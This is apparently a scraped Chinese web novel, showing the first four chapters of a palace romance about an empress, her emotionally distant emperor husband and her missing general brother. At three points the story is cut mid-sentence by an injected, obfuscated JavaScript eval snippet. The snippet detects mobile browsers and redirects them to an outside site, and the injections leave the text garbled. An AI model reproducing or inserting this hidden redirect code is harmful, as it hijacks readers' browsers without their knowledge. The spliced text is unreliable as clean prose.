《帝后第十年》 1. 第 1 章 十一月末,已是初冬。 寒风拂过枝头,打落了枝上最后一片枯叶。 金銮殿外,身穿槿紫宫装的女子微微仰起头,看着空中那片颤颤巍巍往下落的叶子出神。 “娘娘,陛下正在里头和两位大人商议要事,也不知道何时才会结束,要不您先回去?” 李德全回头看了一眼紧闭的殿门,又转头躬着身体客气地对眼前的女子道。 这天气他一个奴才站久了都冷,更别说金枝玉叶的主子。 若是娘娘被冻出个好歹,陛下定然不会轻饶。 寒风吹起女子脸侧的碎发,这时候她才缓缓收回视线,而后越过李德全落在他身后不远的大门上。 “无妨,本宫再等等。” 女子像是感受不到冷意,声音宛如被山间清泉浸润了一遍,带着不疾不徐,仿佛能安抚躁动的人心。 李德全抬眼偷偷瞧了她一眼,知道这位娘娘性子好,轻易不会为难他们,今日大约是有急事找陛下。 薛弗玉自然注意到了李德全的目光,她知道自己着急了些,可事关阿弟,她不得不亲自来金銮殿一遭。 她不知道的是,她心中牵挂着的阿弟,此时在金銮殿也是话题的中心。 金銮殿内,身穿玄色大氅的年轻帝王正背靠着御座,他的眉眼间落下一片阴影,让俊美异常的脸平白添了几分晦暗。 下首的两位宰辅在底下说得口干舌燥,可是一个字都没有落在他的耳中。 不仅如此,上首的男人随着他们愈发激烈的言语,神情中渐渐溢出一丝的不耐。 他撑着半侧的脸,一手再次展开今早宫外送来的密信。 薛岐于月前奉命秘密护送成王妃回京,结果途中遭遇意外,薛岐为了保护成王妃掉落山崖,至今下落不明。 下首两位大臣激烈讨论的内容,就是围绕要不要从京中增派人手去寻找薛岐。 两人持反对意见,已经在这里吵了两个多时辰,还未吵出结果。 “陛下,薛将军自十六岁起就能独自领兵打仗,十年来为大周立下不少汗马功劳,请从京中派出得力人手寻找薛将军!” 其中一名大臣道。 “一码归一码,若不是薛将军擅自改道,又怎会发生意外?再者京中派人去怕是会惊动朝臣,届时少不了想要浑水摸鱼的,不如继续让他的人找。” 另一名大臣立刻反驳。 新的一轮争论又开始了。 不知道过了多久,御座上的皇帝不慎失手打翻了茶盏。 清脆的响声如同一道惊雷,将沉浸在争论中的两位大人生生震住,他们不约而同抬眼去瞧上首的皇帝,却发现皇帝神色淡淡。 而后,一道沉沉的嗓音响起。 “两位爱卿商议此事一下午,也该有结果了。” 跟了这位陛下几年,两位大臣自然是有些琢磨出了他的脾性,此时此刻,他们的陛下约是有了决断。 刘钧猜不透这位陛下对薛岐的态度,却知道陛下关心成王妃,便道:“陛下,成王妃不日就要抵达京中,听说王妃这次也受了点伤。” 提起成王妃受伤,皇帝脸上的神色似乎又沉了一些,“成王兄英年早逝,成王妃定然难过,又在途中遭遇意外受伤,该好好安抚才是,以免寒了成王妃的心。” “陛下仁慈。” “至于薛岐,就照刘爱卿的意思办。” 宋璋还想要说什么,却被刘钧一个眼神给制止了,只得在心里叹了口气,不甘地跟着一起拱手退下。 薛将军可是皇后娘娘的胞弟,更是大周的功臣,眼下陛下没有表现出一点担心,反而更关心全须全尾的成王妃。 若是娘娘知晓了这些,尤其是知晓薛将军的事,怕是会伤心。 出了金銮殿外,一阵寒风吹来,倒是让两位大人精神了许多,也看见了立在廊下的端庄美人。 二人皆是一怔,但是又迅速回神给薛弗玉行礼。 也不知娘娘有没有听见他们在里头的话。 薛弗玉唇边绽出一个浅笑,像是没看见他们脸上一闪而过的意外,道了声免礼。 宋璋看着眼前恍若神仙妃子的女子,想到失踪的薛将军和即将进京的成王妃,他一时百转千回,正欲说话,又收到了刘钧警告的眼神。 此事只他们和陛下三人知道,陛下明显这是特意瞒着娘娘,不想让她知道。 看着逐渐走远的两位大人,薛弗玉脸上的笑意慢慢地收了回去,她转头看了一眼开了一扇的大门,眉心微微蹙起。 方才他们在里头发生了什么事? 她没看错的话,宋璋似乎有话想要同她说,可又被一旁的刘大人给拦住了。 殿内茶盏落地的清脆声响仿佛还在耳边,她走了两步,还未到门边便止住了步子,没有继续往前。 李德全带了几个宫人准备进去收拾残局,对着薛弗玉道:“娘娘在此稍等片刻,奴才这就进去禀告陛下。” “罢了,陛下大约是还在忙,本宫不便打扰,还是先回去,有劳公公替本宫送进去给陛下。” 薛弗玉叫住了正要进去通传的李德全,示意身边的宫女将食盒交给对方。 她不知道里面发生了什么事,可她熟悉皇帝的脾气,在他生气的时候,最好不要去触他的霉头,索性不过是一封迟来的家书。 再等等便是,说不定只是因为到了岁末,阿弟太忙而忘了给她写。 她不该这般着急的。 反正之前阿弟在家书上已说,早前给金銮殿递了奏折,请皇帝允许他今年回京与家人团圆。 而皇帝也已同意阿弟的请求。 这般想着,索性离开这里。 这边李德全进去的时候,正好看见皇帝进了偏殿,此时高大的身体正负手背对着他,不知道在想什么。 “陛下。” 皇帝没有转身,语气冷淡:“告诉皇后,今晚朕要处理事务,便不去她的寝宫,让她不必再等。” 李德全闻言,知道陛下这是因为薛将军连累成王妃受伤的事,迁怒到了皇后娘娘头上。 娘娘到底是有些无辜。 想到她临走前交给自己的食盒,李德全还是斟酌了下,对着皇帝恭敬道:“娘娘刚才已来过这里,见陛下和两位大人在里头议事,不好打扰陛下,便让奴才亲自将这食盒带给陛下,让陛下尝尝御膳房新做的点心。” 提到薛弗玉,皇帝神色微动,接着转身。 他看见李德全手上的食盒,脑中蓦地出现薛弗玉的身影。 那个柔婉坚韧的女人。 十年前。 他还是不受先皇喜爱的七皇子,原本有一桩婚事在身,未婚妻是母妃的侄女。 对方年纪与他相仿,他们见过好几次,少女性子活泼爱笑,像是冬日里的暖阳,就这样闯入了他的世界,给他晦暗的人生里带去了一抹阳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007127|194041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光。 本以为他们最终会成亲,然而却出了变故。 少女改嫁四皇兄,而他连质问母妃,质问薛家的资格都没有。 薛家将新娘子换成了听说因为守孝,而错过相看的二姑娘薛弗玉。 即便心有不满,可他知道他还需要薛家的助力,不能与薛家撕破脸,只能忍着。 他就这样娶了比自己大了整整三岁的薛弗玉。 这十年来,最开始对薛弗玉的怨气早已消退,可他与她也不似寻常夫妻一般恩爱。 即便是早已做过这世间最亲密的事,但也只勉强做到相敬如宾。 —— “娘娘,奴婢去问了张公公,说是今日也没有收到薛将军的家书。” “明日再着人去问。” 薛弗玉坐在西窗下的暖炕上吩咐。 她正绣着要给女儿穿的贴身衣物,此时她身上早褪下了那一层繁琐的衣物,只穿了一件淡紫襦裙,露出略显丰腴的婀娜身姿。 她头上的钗环早已卸下,一头丝绸般顺滑的青丝在背后散开。 烛火照在雪腮上,更衬得她眉目如画。 素月将烛火移近了一些,让亮光照得更清楚,接着又劝道:“夜深了,娘娘已经绣了一个多时辰,还是歇息吧。” 薛弗玉手上的动作没有停,一双含了秋水的眸子扫了一眼窗外:“夜晚漫长,做这些正好打发时间。” 掌灯时,已有宫人前来说今晚皇帝不过来,她便想着做些事情来打发漫漫长夜。 这样无聊的夜,自谢敛登基以来,已经经历好些年了。 大部分他不来的日子,她总是会找些事情给自己做,好度过这些寂寂的夜晚。 “这么晚公主怎的来了?” 正出神间,外头忽然传来一道惊讶的声音。 很快就有一个小小的身影小跑进来。 “阿娘!” 软糯的嗓音仿佛是才哭过没多久,薛弗玉还未反应过来,就被女儿抱住了。 素月忙接过薛弗玉手中的针线衣物,给母女俩让出位置。 薛弗玉见到紧紧抱着自己的女儿,眼神瞬间柔软下来。 “昭昭,怎么了?” 听着母亲温柔的声音,昭昭更加地委屈了:“阿娘,父皇已经三天没有去看昭昭了,昭昭想父皇了,昭昭今晚还做了恶梦,梦见父皇不要昭昭和阿娘了......” 昭昭今年三岁,住在离薛弗玉不远的宫殿,谢敛就算再忙也不会超过三天都不去看望女儿。 可是他已经有三天没有去看望昭昭了。 薛弗玉轻拍昭昭的手顿了顿,接着看向昭昭的奶嬷嬷,“公主说得可是真的?” 后者点头称是。 得到了答应,薛弗玉面色凝重,想起白日里金銮殿内隐约传出的争论声。 很快她又收敛了神色,像是没有察觉什么,转而柔声安慰怀中的女儿。 “昭昭别怕,你父皇最近很忙,所以忘记去看昭昭了,等他忙完了就去看昭昭,今晚昭昭在阿娘这里睡,阿娘陪着昭昭,好吗?” 昭昭却闹着要父皇,薛弗玉心疼女儿,只得让人去一趟紫宸殿。 皇帝正还在忙着批阅奏折,李德全趁着添茶的功夫对着他道:“陛下,娘娘那边派了人过来,说是公主想念陛下,请陛下过去。” 皇帝握笔的手顿了顿,皇后何时也学了这种争宠的拙劣把戏? 2. 第 2 章 见了回来的宫人,薛弗玉便知道谢敛今晚是真的不会过来了。 她安抚着怀中迟迟因为见不到父亲,而哭闹不止的女儿,一时心中对谢敛生出埋怨来。 谢敛不知道,这一晚薛弗玉哄了许久女儿才睡着。 翌日他在紫宸殿中醒来没多久,李公公便领着一众人进来伺候。 穿戴好之后,想起昨晚的事情,他才发觉已经三日没去看过女儿。 接近岁末,事情多了起来,加上薛岐又出了事,让他一时忽略了女儿。 罢了,等今日的事情忙完再去看她。 “公主这几日可好?” 看似随意一问,但李公公知道陛下还是关心公主的,幸而他机灵,经过昨晚皇后娘娘遣人前来一事,知道陛下醒来大约会问起公主。 于是在陛下睡下之后就着人去公主宫中问了。 所以当谢敛问起的时候,李公公立刻回答,只是说到昨晚的事时迟疑了一下,最后觑了一眼神色平静的陛下,才接着往下说。 “公主昨夜因为做了恶梦,醒来后哭着去了皇后娘娘的寝宫,最后是在娘娘的寝宫里睡的。” 至于恶梦的内容,自然是不能与陛下说。 谢敛的脚步微微顿住,看来昨晚是他冤枉了薛弗玉,沉默半晌,才吩咐道:“让太医去给公主瞧瞧,看公主是否受了惊吓。” 李德全转头对着另一名内侍道:“等娘娘和公主醒了,按照陛下的吩咐去做。” 语罢连忙跟上谢敛的脚步出了紫宸殿。 上完早朝,谢敛又去了金銮殿处理政务,等他终于将堆积的政务处理完,已经接近申时。 “公主如今在何处?” 扔下手中的朱笔,谢敛问道。 李德全才送走了前来回话的太医,于是道:“回陛下,公主仍在娘娘宫里,陛下可是要去?” 谢敛没有说话,但是李德全看懂了他的意思,故意骂了一声跟着伺候的内侍:“蠢才,陛下要去娘娘宫里,还不赶紧去通传一声!” “不必了。” 谢敛起身净手,又去换了一身玄色常服,这才动身前往后宫。 等他来到薛弗玉的宫门前,立刻抬手止住了想要出声的李德全,直接抬脚跨过大开的宫门走了径自进去。 没走多久,看见眼前的情景,他蓦地停了下来。 院子里,穿着丁香色衣裙的女子坐在秋千上,那张仙姿玉貌的脸映着夕阳的斜晖,染上一层柔和的光。 谢敛看见的一瞬,微微晃神。 此时她的膝上坐着一粉雕玉琢的女娃,那女娃生得和她有五分像,连专注的神情都一模一样。 她正在给膝上乖巧坐着的女儿念小故事,柔柔的声音如同一阵温柔的春风,不经意拂过心间,留下点点暖意。 这样的画面,让谢敛生出不忍破坏的念头来。 然而他还未出声,那边秋千上的女子已然发现了他。 薛弗玉讶然:“陛下来了?” 不等谢敛作出回应,他的双腿很快就被小小的人儿给抱住了。 “父皇,你是来看阿娘和昭昭的吗?”稚嫩的童音里是掩藏不住的开心。 谢敛生得高大,即便昭昭已经有三岁了,但是个子还没到谢敛的大腿,只比他的膝盖高一些。 所以当看见女儿费劲地仰起整个头看他的时候,他的眼中难得露出一点笑意。 看着这张和薛弗玉几分像的脸,更是心生怜爱。 他弯腰双手穿过昭昭的腋下,将人举了起来与自己平视,眼角余光扫了扫还站在原地不动的薛弗玉,他这才对着昭昭道:“几天不见,又重了些。” 昭昭哪里还管得了他在说什么,兴奋道:“父皇再举高一点!” 平时她总是苦恼自己是个小矮子,看谁都要仰着一张脸,所以她最爱的就是被父皇举高高,每次都要父皇跟她玩这个游戏。 身为父亲,自然不会拒绝女儿小小的要求。 谢敛将人举过了头顶,又猛地放下,如此反复。 父女俩玩得开心,满宫都是昭昭的咯咯笑声。 薛弗玉看着女儿因为兴奋而变得通红的脸蛋,心里却有些担忧,小姑娘要是白日里玩得太过,晚上容易睡不好。 昭昭昨夜本就做恶梦受了惊吓,若是今天又玩过头,怕是晚上又会哭闹。 为了女儿少些哭闹,她上前对着谢敛道:“陛下,别太纵着她。” 转头又对着昭昭道:“好了昭昭,你父皇累了一天,别再累着他了,若是累坏了以后就不能再与你玩了。” 原本是为了女儿着想的话,没想到落在男人的耳中,却又是另一番意思。 他近些日子他甚少前来她的宫中,心想莫非她是觉得他的身体不行,所以才不来的? 思及此,他转头意味不明地看了一眼身边的女子。 手上的动作却没有停。 薛弗玉见一个两个都不听她的,一时有些着急,她直接将手放在谢敛的手臂上,一双含情美目幽幽望着他,语气微嗔:“陛下......” 才说了两个字,柔若无骨的手掌之下,男人小臂上结实的肌肉瞬间绷紧。 她似是没有感觉到男人的变化,想要继续劝说。 却见男人没多久就面无表情地将女儿给放了下来。 “父皇,昭昭还想要玩儿!”昭昭不满地撒娇。 薛弗玉弯腰轻哄:“昭昭乖,明日再与父皇玩,好不好?” 虽然意犹未尽,但是昭昭是最听阿娘话的乖孩子,所以很快就冲着薛弗玉张开了两只小手,奶声奶气对着她撒娇:“那昭昭想要阿娘抱抱~” “好~阿娘抱着昭昭。” 薛弗玉无奈地捏了捏她小巧可爱的鼻子,将人抱了起来。 谢敛侧目,明明纵着女儿最多的是她,不管女儿提出什么要求,她从未拒绝过。 想起方才女人劝他的话,他下意识反唇相讥道:“你也别纵着她了。” 正抱着女儿逗弄的薛弗玉听见他的话,不可置信地眨了眨眼睛,疑心自己是否听错。 谢敛何时会这般同她说话了? 可分明他就是说了,薛弗玉猜不透他的心思,只好回以一个微笑,眉眼弯了弯:“陛下说得对,臣妾是不该太纵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007128|194041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着她了。” 她笑起来的时候又是另一种美,就像是等待许久的花终于开了,不经意间就能夺走所有人的目光。 谢敛的目光只在她脸上落了一瞬,很快就移开,最后静静看着抱着女儿往殿内走去的身影。 很快,他也抬腿跟了上去。 在薛弗玉宫中用过晚膳,两人又亲自送了昭昭回去她的宫里,等薛弗玉守着昭昭睡下,又叮嘱了一番伺候昭昭的宫人后,时辰已经不早了。 她出了内室,发现男人还坐在那里。 “睡着了?” 见她出来,男人漫不经心地问。 薛弗玉缓步走了过去,回头看了一眼安静的内室,这才轻声回答:“睡下了,陛下可要回紫宸殿?” 却见男人站了起来,高大的身影瞬间将她笼罩住,却又没说话,只是用深潭般的眼睛静静看着她。 她不解,不明白他看着自己做什么,于是再次启唇,颇为体贴道:“陛下若是回紫宸殿,臣妾这就吩咐李德全准备步撵,夜晚路不好走,坐步撵方便些。” 谢敛不知道她这是何意,难不成她是因为昨夜的事情生他的气? 可以他对她的了解,她的性子温和,他从未见她与谁生过气。 “昨夜的事情,皇后可是在生朕的气?” 想是一回事,说出来又是一回事。 薛弗玉自然是生气的,甚至想要给他摆脸色,可他是一国之君,她又能如何,只敛眉温声回答:“陛下国事繁忙,臣妾岂会因小事生陛下的气。” 谢敛瞧着眼前比自己矮一个头的女人,潜意识告诉他不能相信她的话,须臾,他笑了一声,“既然如此,今晚便去你的寝宫。” 薛弗玉:...... 这一夜也不知道谢敛抽了哪门子筋,非要留着蜡烛,不让她灭了。 烛光映在薛弗玉染了媚色的脸上,显得愈发光彩夺目,就像傍晚时分在院子见到的一样。 她的双手无力地攀着男人结实的臂膀,漂亮的眸子因为羞耻而闭着。 床幔犹如水纹一圈一圈地荡漾开。 谢敛的双眸盯着身下身材姣好的女人,发现她不仅没有因为生育而身材臃肿,甚至还比以前丰腴了些,滑腻雪白,玉体生香。 目光落在她那张媚态十足的脸上,似怜惜地拔开黏在她侧脸的发丝,却见她眸中泪光点点,比任何时候都勾人,男人呼吸突然一滞,又开始了新的一轮。 这一回,看她还说不说他累。 不知过了多久,床幔里的动静终于停了下来。 重新躺回去之后,薛弗玉已经累得不想说话,她心中有气,直接背对着男人,不想看见他。 今晚也不知道谢敛怎么了,不知疲倦似的。 谢敛没有察觉到她气闷,餍足的男人心情格外地好,他盯着只留了个后脑勺给自己的女人,难得没有不满。 才闭上眼没多久,又听见耳边传来窸窣的声音,睁开眼,隐约可以看见她转了身过来。 良久,他听见薛弗玉轻柔的声音在静谧的屋中响起。 “陛下,你可有我阿弟的消息?” 3. 第 3 章 昨日在金銮殿外听见的争论声,让薛弗玉心中生出不好的预感,她总觉得和阿弟有关。 且今日还是未收到阿弟的家书,她到底是有些按捺不住,索性趁着这个时候问一问。 只是她的话问出口许久,躺在身侧的男人却迟迟没有回答。 难不成他这么快就睡着了? 随着年关越来越近,一直收不到家书的薛弗玉总是有些不安,边关并不太平,若是,若是阿弟出了什么事...... 她睁开眼睛,在昏暗中想要看清谢敛的脸。 “陛下?阿敛?阿弟的事......” 心中仍有不甘,她才不相信这男人这么快就睡着了,于是再次轻声唤了谢敛,这一次她甚至叫了对方的名字。 在谢敛还未登基之前,她经常这样唤他。 那声阿敛入耳,一直没有反应的男人终于说话了,语气中带着冷肃:“皇后,你逾矩了。” 没有提薛岐,却暗暗警告她不该这般称呼他。 薛弗玉陡然沉默。 他早已不是当初那个会在黑暗中害怕地抱着她,低声唤她玉姐姐的少年了。 而是高高在上的帝王。 少年终是长大了。 她神色黯淡,一颗心慢慢沉了下去。 “臣妾失言。” 褪去了所有的期待,她的语气也没了先前的柔和。 她不知道,谢敛不喜薛岐,更不喜欢她在他面前提薛岐,尤其是在这种事情结束之后。 就算听见她语气中的失落,谢敛还是敲打她:“日后少打听薛将军,你只管做好自己份内的事。” 薛弗玉愕然,他这是觉得她插手前朝的事吗? 可阿弟除了是大周的将军之外,更是她唯一的弟弟啊。 薛弗玉缓缓闭上眼睛,努力让自己的声音听起来正常:“陛下教训得是,臣妾不该这般着急。” 她知道谢敛在担心什么。 阿弟这十年来为大周立下大大小小数十功劳,先帝还在时已经是二品将军,那时阿弟才十九岁,军中再也找不出第二个比他优秀的人。 如今朝中对他封侯的呼声很大,树大招风的道理她懂,所以她每每在家书中提醒他切莫张扬。 而阿弟这些年来,确实一直都很低调。 她了解谢敛,知道他一直以来都缺少安全感,她清楚他心里的顾虑。 他这是警惕阿弟功高震主,更是怕先帝在时外戚干政的事重演,担心落得和先帝一样的下场。 可并不等于她要理解谢敛。 她的阿弟拥有赤子之心,曾发誓要替父亲继续守住大周每一寸的疆土,根本不会生出不臣之心。 她于黑暗中再次睁开眼睛,静静看着睡在身旁的男人,模糊的轮廓让她突然觉得很陌生。 从前他还是皇子的时候,明明不是这样的。 少年的所有喜怒哀乐全部都表现出来,而不是像现在这样,每一个动作,每一个表情,甚至是说出口的每一个字,都要让她去猜。 明明人就在身边,可她总觉得他们之间隔了遥远的距离。 虽然眼睛闭着,但谢敛感觉得到她在看自己,他知道刚才的话说得有些重了,但他不想从她的口中听见薛岐的事,不管是何事。 话已出口,便没有后悔。 “安歇吧。” 他语气缓和了一些。 薛弗玉极轻地嗯了一声,重新转过了身背对着他。 眼不见为净。 这一夜,薛弗玉难得梦见十年前初嫁的事。 那时候她刚嫁给谢敛不久,不管她做什么,少年对她始终是冷淡的态度。 可她偏偏是温柔耐心的性子,少年和她的阿弟年纪相仿,她同情他少时失去阿娘,又不受皇帝喜爱,姑母待他也不上心。 她只当他是个小可怜,便也将他当成了阿弟一般对待。 他从前在宫中的日子不好过,所以连带着她也跟着不好过,欺负他们一个是不受宠的皇子,一个是没了爹娘的孤女。 她偷偷用自己的嫁妆去贿赂宫人,好让他们能吃上热乎的饭菜,穿上保暖的衣裳。 后来少年知道了,说她不必如此假惺惺。 少年年纪虽小,却像是一头自尊极强的狼崽子,他不满自己的亲事被人随意操纵,也不满她自以为是的关心和付出。 这是谢敛最初给薛弗玉的印象。 画面很快变成了太子纠缠她,对她上了手差点让她受辱的场景。 谢敛及时赶到,发了狠地揍了太子一顿,直到宫人将他拉开。 那天他也受了伤,当晚她给他上药的时候,习惯性用安慰阿弟的语气同他说话。 可不知为何就惹恼了他。 少年第一次对她生了很大的气,头一次对她大声说话。 “薛弗玉!睁开眼看清楚,我不是你阿弟!” 他不是她的阿弟...... “皇后娘娘,您一定要帮一帮你三叔,他可是您的亲叔叔!” 老人伤心的声音将薛弗玉从回忆中扯了出来。 她抬眸,看向坐在下首拿帕子掩泪的祖母。 看着祖母满头的白发,她的心中却生不出任何的同情。 “祖母先别哭,三叔他到底怎么了?”她语气虽然温和,细听却透着疏离,“祖母与我说清楚了,我才能想办法不是?” 薛易是她三叔,她才到京中不久就嫁人了,所以他们之间并不亲厚,她甚至都不记得对方的长相。 其实,她与薛家的所有人都不亲厚。 薛老太太像是没听出她的疏离,细细道来:“今日祖母来找娘娘,也是舍下了这张老脸,只求娘娘看在你爹的份上,求陛下开恩,免了我儿的罪......” 她本也不想来求这位孙女,在她的印象里,孙女成为皇后的几年来,薛家不仅没有跟着享福,反而她的几个儿子被皇帝渐渐冷落。 她甚至怀疑,薛弗玉是因为怀恨当年薛家逼着她嫁给皇帝,而在皇帝跟前挑拨,让皇帝对薛家生了嫌隙。 若是薛弗玉知道薛老太太的心思,必定觉得无辜,谢敛要能轻易让她挑拨,昨晚也不至于才提了一下阿弟就惹了他不悦。 听完了事情的原委,她没有立刻给出答复,只是略做沉思,须臾后才道:“此事容我想想,陛下这些日子一直在烦心国事,等陛下哪天心情好些,我再寻个由头与他说起。” 她不能偏听偏信,若薛易是真的被冤枉,她倒是会考虑帮不帮,可若是薛易罪有应得,那自然是不帮。 好说歹说送走了薛老太太。 大宫女碧云给薛弗玉重新换了盏热茶,又拿了条毯子盖在了她的膝上。 “今天这件事,你觉得本宫该不该帮祖母?” 倚着桌子的女子缓缓开口,语气中听不出任何的情绪。 碧云掖好毯子的一角,道:“娘娘自嫁给陛下之后,薛家便对娘娘的生死不管,当年娘娘冒险让奴婢去薛家求救,结果薛家人连门都不给奴婢开,娘娘因此吃了不少苦。” 薛弗玉轻抚杯盖的手一顿。 当年太子为了报复谢敛和她,趁着皇帝带着姑母出宫祈福的空隙,勒令御膳房不许给他们宫里送吃的,除非是她亲自去求他。 她恶心太子无耻的行径,饿了几天也不肯屈服,最后实在没办法,便让碧云设法出了宫去找薛家,让薛家人去寻姑母。 谁知道薛家竟是如此绝情。 “所以,奴婢私心里觉得娘娘不该帮他们。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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外头的人不知道,可他们自己清楚得很。 本来要嫁给七皇子的是她的女儿,可是他们怕女儿嫁给谢敛吃苦,恰逢这个侄女回京,于是商量着将人换了。 而她的宝贝女儿薛明宜,则嫁给了当时的成王。 “事情已经过去十年,我们又是她的母家,难不成她连家人都要记恨?若不是我做主让她嫁给当时还是皇子的陛下,她今天也不会坐到皇后的位置上。” 薛老太太并未觉得自己做错了,反而认为当年做得正确,才让她做了皇后。 她如今所拥有的,都是他们薛家给的。 “娘说得有道理,皇后娘娘心肠柔软,三爷又是她的三叔,她不会见死不救的。” 薛老太太的话就像是一颗定心丸,安抚了谢氏不安的心。 可是她们没想到,几日过去,宫里一点消息都没。 这一天谢氏急得在房中跺脚,瞪大眼睛:“你说什么,皇后娘娘连老夫人都不见?” 那丫鬟道:“是的,听说直接让人打发了。” “我就知道她是个没良心的!当初就不该送她进宫!” 谢氏忍不住痛哭了起来。 此时又有一个丫鬟急忙进来,却是一脸喜色:“夫人,四姑娘就要回京,此时距离城门只剩几十里地了!” 谢氏愣了愣,接着破涕为笑:“太好了,三爷有救了!” 城门外。 几辆低调的马车往前徐徐行驶。 马车里,穿着素色衣裳的女子挑开车帘一角,露出半张明艳的脸,她望向不远处熟悉的城门,幽幽叹了口气。 “终于又回来了......” 4. 第 4 章 话才说完,就听见女子轻咳了几声。 “娘娘身子还未好全,还是不要吹风好。” 身边的宝屏听见咳嗽声,忙把帘子放下。 “不过是小毛病,无碍的。” 女子并不在意,她身上的病比起那些,又算得了什么? 好日子没过几年,王爷便突然撒手人寰,留下她和还未长成的孩子。 若不是陛下念着昔年的旧情,准许她回京与家人团聚,她一个人在西北那荒凉的地方,孤儿寡母的,都不知道会被欺负成什么样。 想起当今圣上,她那颗已经死寂的心,又重新跳动了起来。 “娘娘这一次回京,定要好好在这里住上一段时间,把身上的病彻底养好。” 宝屏还是头一次来京城,比起荒凉且民风彪悍的西北,她第一眼看见京城繁华的景色,便喜欢上了这里。 “你这小丫头又胡说,咱们能在京中住多久,还得看那位陛下的意思。” 宝扇是王妃的陪嫁,自然知道王妃之前和皇帝的事,这次王妃能回京,也是写信求到了陛下跟前,陛下才应允的。 薛明宜脸色微红,觉得皇帝还对她有旧情,所以一月前她才敢让人给御前递信,没想到她这一次赌对了。 但是以她现在身份,要想在京中久呆怕是不能。 她不想再回西北,如今成王殁了,她更加不想回去了。 “可是陛下不是恩准娘娘回京,再者皇后娘娘还是娘娘的姐姐,娘娘若是不想回西北,还可以去找皇后娘娘说明,皇后娘娘总不能看着自家姐妹吃苦吧?” 宝屏天真道。 提到薛弗玉,薛明宜心中除了生出一点愧疚之外,接着是更多说不清道不明的情绪。 当年她不愿意进宫陪着谢敛受苦,所以把主意打到了这位才回京不久的堂姐身上,她在爹爹和祖母跟前哭了哭,就轻易让他们把婚事原本属于她的婚事给了堂姐。 后来她也知道二姐姐嫁给谢敛的前四年吃了不少苦,她心中对她有愧疚,也暗自庆幸陪着一起吃苦的不是自己,可如今二姐姐做了皇后,又觉得她从前吃的那点苦算不得什么。 若不是她一念之差,二姐姐也不会当上皇后。 那位置原本是她的才对。 这个念头骤然生出,她先是吓了一跳,而后又慢慢的滋生出不甘。 脸上那抹因为谢敛而生出的红晕褪去,变得颓败。 宝扇感受到了薛明宜的情绪变化,她悄悄瞪了一眼宝屏,转移话题:“奴婢已经命人给薛家递了消息,等娘娘回去,便能与三爷他们团聚。” 提到父母亲,薛明宜的神色才好了许多,她唇边挂上一抹淡笑。 “也不知道爹爹和娘现在怎么样了。” —— 凤鸾宫。 薛弗玉正细品着地方上贡的顾渚紫笋。 室内的博山炉燃着幽幽花香,她整个人懒洋洋地半倚在软榻上,享受着午后的静谧时光。 不久,素月领着李德全进来了。 “见过皇后娘娘。” 李德全一进来就给薛弗玉行礼,脸上堆满了笑意,原先他还以为陛下因为薛将军的事情迁怒了娘娘,原来是他想岔了。 陛下登基以来一直未曾广纳后妃,至今后宫中只有皇后娘娘一人,可见陛下还是宠爱娘娘的。 软榻上倚着的美人慵懒地开口:“李公公今日来本宫这,可是陛下有什么吩咐?” 薛弗玉说着将手中的白玉杯给了碧云,而后缓缓坐直了身体。 李德全站在珠帘外,脸上的笑意不减半分:“奴才是奉了陛下的命令前来给娘娘送东西。” 说着他抬手拍了几下,很快就有宫女鱼贯而入。 薛弗玉抬眸,隔着珠帘,看见每个宫女手上捧着大红漆盘,漆盘上放了各种上贡的物品。 金玉宝石,绫罗绸缎,香料药材等等。 “这些是?” 柔润的嗓音比珠玉碰撞还好听,李德全笑着解释:“这些都是今年地方上贡的东西,陛下挑了一些送去了太后宫里,剩下的都让奴才送来娘娘宫中。” 年年都是如此,以彰显陛下不忘发妻。 薛弗玉扫了一眼,发现都是和去年差不多的,倒是有几件皮毛让她有些新鲜。 “这几件是北地进贡的皮草,那黑色的是墨狐的皮毛,白色的是白狐和雪貂,陛下说了,娘娘可以拿了它们做御寒的衣物。” 见她的目光落在那几件皮毛上,李德全便知道她这是喜欢。 薛弗玉脸上没有露出半分欣喜,每年谢敛都会把这些进贡的东西送她这里,她早就习以为常。 看着毛光水滑的皮毛,她心里已经有了成算,就按谢敛说的,白狐狸的毛做成狐裘,她自己做一件,昭昭也做一件。 雪貂的毛便做成风领和手套。 至于剩下的墨狐毛,等她想起要做什么了再说。 收起了心里的新鲜劲儿,她浅笑道:“辛苦公公跑这一趟,回去后替本宫多谢陛下,素月,将这些东西都收好。” 李德全听了薛弗玉的话,脸上的笑容有一瞬间没绷住,娘娘她难道不应该亲自去谢陛下吗? 但是他哪敢说,只得勉强笑道:“娘娘折煞奴才了,若没有什么事,奴才这便退下了,陛下那边还等着奴才回去交差。” “下去吧。” 李德全心中有疑惑,总觉得有什么事被他忽略了,可他还是拿着碧云给的厚厚的封赏,高高兴兴地出了凤鸾宫。 “算了,主子们的事儿哪是我能揣测的。”他道了一声,朝着金銮殿的方向回去。 进了金銮殿,他才放轻了脚步,以免打扰到了正在批阅奏疏的皇帝。 